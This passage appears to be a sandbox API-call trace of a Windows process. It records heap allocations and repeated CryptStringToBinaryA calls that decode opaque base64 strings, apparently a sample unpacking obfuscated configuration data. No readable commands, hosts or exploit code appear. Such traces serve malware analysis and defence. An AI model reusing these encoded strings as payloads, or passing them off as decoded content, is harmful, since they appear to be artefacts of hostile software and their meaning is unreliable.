pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f91590, pcbBinary=0x18e8e8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915e8 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91650 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341bd8 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91650 | out: hHeap=0x4f90000) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f934f0 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bd8 | out: hHeap=0x4f90000) returned 1 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.158] CryptStringToBinaryA (in: pszString="tLCb3M4ftR2+kw16Ccnsyv8sj+0JVvNNHtJOIHnQ9XDvjv7A2w==", cchString=0x34, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8e4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8e4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x25) returned 0x4f93400 [0043.158] CryptStringToBinaryA (in: pszString="tLCb3M4ftR2+kw16Ccnsyv8sj+0JVvNNHtJOIHnQ9XDvjv7A2w==", cchString=0x34, dwFlags=0x1, pbBinary=0x4f93400, pcbBinary=0x18e8e4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f93400, pcbBinary=0x18e8e4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f93430 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f93568 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93430 | out: hHeap=0x4f90000) returned 1 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f93400 [0043.159] CryptStringToBinaryA (in: pszString="pvXmjPQRoUmjj0g9QZ24wvEqyvcJVvFWXc0LL2XL5DWmz8me5wElh/48FHKcpbnq8C2kwQ==", cchString=0x48, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8e0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8e0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x34) returned 0x6343000 [0043.159] CryptStringToBinaryA (in: pszString="pvXmjPQRoUmjj0g9QZ24wvEqyvcJVvFWXc0LL2XL5DWmz8me5wElh/48FHKcpbnq8C2kwQ==", cchString=0x48, dwFlags=0x1, pbBinary=0x6343000, pcbBinary=0x18e8e0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x6343000, pcbBinary=0x18e8e0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343000 | out: hHeap=0x4f90000) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f935a0 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341bd8 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f935a0 | out: hHeap=0x4f90000) returned 1 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f91590 [0043.159] CryptStringToBinaryA (in: pszString="pv3mhekF4kqjkEE9AtK4i/8ghe4fBP1XW4VcK37RoXql3IWY4xE/i70tXD7S47v3vj2uw10ZsnvEYWXONfS6eH/V2i3qIXFI2PHe1eehNpakOsXiRuH47ci+vKRclOsaKeoJrLFoTgXaTKTIr+v/ObwtC5BKtMitXq8aaDT8apz98QQvQgMbncLSJWJG+bHvaMhG", cchString=0xc4, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8dc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8dc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x93) returned 0x4f94088 [0043.159] CryptStringToBinaryA (in: pszString="pv3mhekF4kqjkEE9AtK4i/8ghe4fBP1XW4VcK37RoXql3IWY4xE/i70tXD7S47v3vj2uw10ZsnvEYWXONfS6eH/V2i3qIXFI2PHe1eehNpakOsXiRuH47ci+vKRclOsaKeoJrLFoTgXaTKTIr+v/ObwtC5BKtMitXq8aaDT8apz98QQvQgMbncLSJWJG+bHvaMhG", cchString=0xc4, dwFlags=0x1, pbBinary=0x4f94088, pcbBinary=0x18e8dc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f94088, pcbBinary=0x18e8dc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341c28 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f93400 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341c28 | out: hHeap=0x4f90000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e) returned 0x6340500 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63405a8 [0043.160] CryptStringToBinaryA (in: pszString="pu/hj6YerUnqlUM9A8i+i/UhnvsIE+9XTYs=", cchString=0x24, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8d8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8d8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a) returned 0x4f92868 [0043.160] CryptStringToBinaryA (in: pszString="pu/hj6YerUnqlUM9A8i+i/UhnvsIE+9XTYs=", cchString=0x24, dwFlags=0x1, pbBinary=0x4f92868, pcbBinary=0x18e8d8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92868, pcbBinary=0x18e8d8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f916e8 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405a8 | out: hHeap=0x4f90000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f93400 [0043.160] CryptStringToBinaryA (in: pszString="pv3mi+NQplLqkkJpTNmji/M6mL4NGe5IHsRFJirV6HSyx8mC8goskf5lXH2d57vh52iqhhEc5maLcSrIKbukcnmUwym+In1OnvHp070=", cchString=0x68, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8d4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8d4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4d) returned 0x4f935a0 [0043.160] CryptStringToBinaryA (in: pszString="pv3mi+NQplLqkkJpTNmji/M6mL4NGe5IHsRFJirV6HSyx8mC8goskf5lXH2d57vh52iqhhEc5maLcSrIKbukcnmUwym+In1OnvHp070=", cchString=0x68, dwFlags=0x1, pbBinary=0x4f935a0, pcbBinary=0x18e8d4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f935a0, pcbBinary=0x18e8d4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340458 [0043.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f935a0 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x63405a8 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63404c0 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405a8 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341c28 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f935a0 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341c28 | out: hHeap=0x4f90000) returned 1 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.161] CryptStringToBinaryA (in: pszString="pu/hj6Yat06+3Ew9Dsi/wvIqme1UVstGHsRJMWXV9GG1wtzL4gxpjLE8XHCT97Gl/yqymglQv2eRJWvFIvSteH6Hlyj7NHhJ2vH52PDkP43xfdf/XuS25oevvOpAnfccerA=", cchString=0x84, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8d0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8d0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x62) returned 0x4f91628 [0043.161] CryptStringToBinaryA (in: pszString="pu/hj6Yat06+3Ew9Dsi/wvIqme1UVstGHsRJMWXV9GG1wtzL4gxpjLE8XHCT97Gl/yqymglQv2eRJWvFIvSteH6Hlyj7NHhJ2vH52PDkP43xfdf/XuS25oevvOpAnfccerA=", cchString=0x84, dwFlags=0x1, pbBinary=0x4f91628, pcbBinary=0x18e8d0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f91628, pcbBinary=0x18e8d0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f93400 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x63405a8 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405a8 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341c28 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f94088 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341c28 | out: hHeap=0x4f90000) returned 1 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63405a8 [0043.161] CryptStringToBinaryA (in: pszString="tLCb3NEYo0nqm1h8Htyi3/kqmaFaLbd+", cchString=0x20, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8cc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8cc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18) returned 0x4f93618 [0043.161] CryptStringToBinaryA (in: pszString="tLCb3NEYo0nqm1h8Htyi3/kqmaFaLbd+", cchString=0x20, dwFlags=0x1, pbBinary=0x4f93618, pcbBinary=0x18e8cc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f93618, pcbBinary=0x18e8cc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f916e8 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93618 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f93400 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405a8 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f91590 [0043.162] CryptStringToBinaryA (in: pszString="reLmiO4V4kqrhQE9Ccup2eU7gvcUEbxKTYVbLXnK6He8y4Wf6UM7h608E2GXqfTn6zz9lhIF5maBYG6LMrv0cWSZ2yPpdXtPhPH1zuD1PYyybtvkRP72oei5seFXjPcbbLJAuLs9DwjfArSJqe+nbK0iXppA4dD4SbpOfnH0TLjd0XZyBA==", cchString=0xb4, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8c8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8c8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x85) returned 0x4f94100 [0043.162] CryptStringToBinaryA (in: pszString="reLmiO4V4kqrhQE9Ccup2eU7gvcUEbxKTYVbLXnK6He8y4Wf6UM7h608E2GXqfTn6zz9lhIF5maBYG6LMrv0cWSZ2yPpdXtPhPH1zuD1PYyybtvkRP72oei5seFXjPcbbLJAuLs9DwjfArSJqe+nbK0iXppA4dD4SbpOfnH0TLjd0XZyBA==", cchString=0xb4, dwFlags=0x1, pbBinary=0x4f94100, pcbBinary=0x18e8c8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f94100, pcbBinary=0x18e8c8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340458 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63405a8 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341c28 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405a8 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f94100 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341c28 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e) returned 0x4f94178 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f91590 [0043.162] CryptStringToBinaryA (in: pszString="tvSzjqYWq1Gvjw18HtjszvIsmOcKAvlHEoVKLG6Z4mCi3MCF8g8wwqsmHWWT7Ljk/CS4wV0pqX3EZmvFZre8cmielyXqbzRbmr28xvrtKorxddyrU+KtocSitPRQj/saKfYBsvQtVx/bArPAtOTzN7EpE5dW", cchString=0x9c, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8c4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8c4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x75) returned 0x4f94220 [0043.162] CryptStringToBinaryA (in: pszString="tvSzjqYWq1Gvjw18HtjszvIsmOcKAvlHEoVKLG6Z4mCi3MCF8g8wwqsmHWWT7Ljk/CS4wV0pqX3EZmvFZre8cmielyXqbzRbmr28xvrtKorxddyrU+KtocSitPRQj/saKfYBsvQtVx/bArPAtOTzN7EpE5dW", cchString=0x9c, dwFlags=0x1, pbBinary=0x4f94220, pcbBinary=0x18e8c4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f94220, pcbBinary=0x18e8c4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340458 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0043.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0043.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63405a8 [0043.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0043.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341c28 [0043.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405a8 | out: hHeap=0x4f90000) returned 1 [0043.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f94100 [0043.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341c28 | out: hHeap=0x4f90000) returned 1 [0043.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e) returned 0x4f94220 [0043.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0043.164] CryptStringToBinaryA (in: pszString="tLCb3NEYo0m53GV8HM2pxaNvsbUn", cchString=0x1c, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8c0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8c0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15) returned 0x4f93618 [0043.164] CryptStringToBinaryA (in: pszString="tLCb3NEYo0m53GV8HM2pxaNvsbUn", cchString=0x1c, dwFlags=0x1, pbBinary=0x4f93618, pcbBinary=0x18e8c0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f93618, pcbBinary=0x18e8c0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93618 | out: hHeap=0x4f90000) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63405a8 [0043.164] CryptStringToBinaryA (in: pszString="wrbrwbtN4nOPsXlETO2e5NYKqcpaS6EeE4gG", cchString=0x24, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8bc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8bc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1b) returned 0x4f9ecb8 [0043.164] CryptStringToBinaryA (in: pszString="wrbrwbtN4nOPsXlETO2e5NYKqcpaS6EeE4gG", cchString=0x24, dwFlags=0x1, pbBinary=0x4f9ecb8, pcbBinary=0x18e8bc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f9ecb8, pcbBinary=0x18e8bc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405a8 | out: hHeap=0x4f90000) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0043.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f91590 [0043.164] 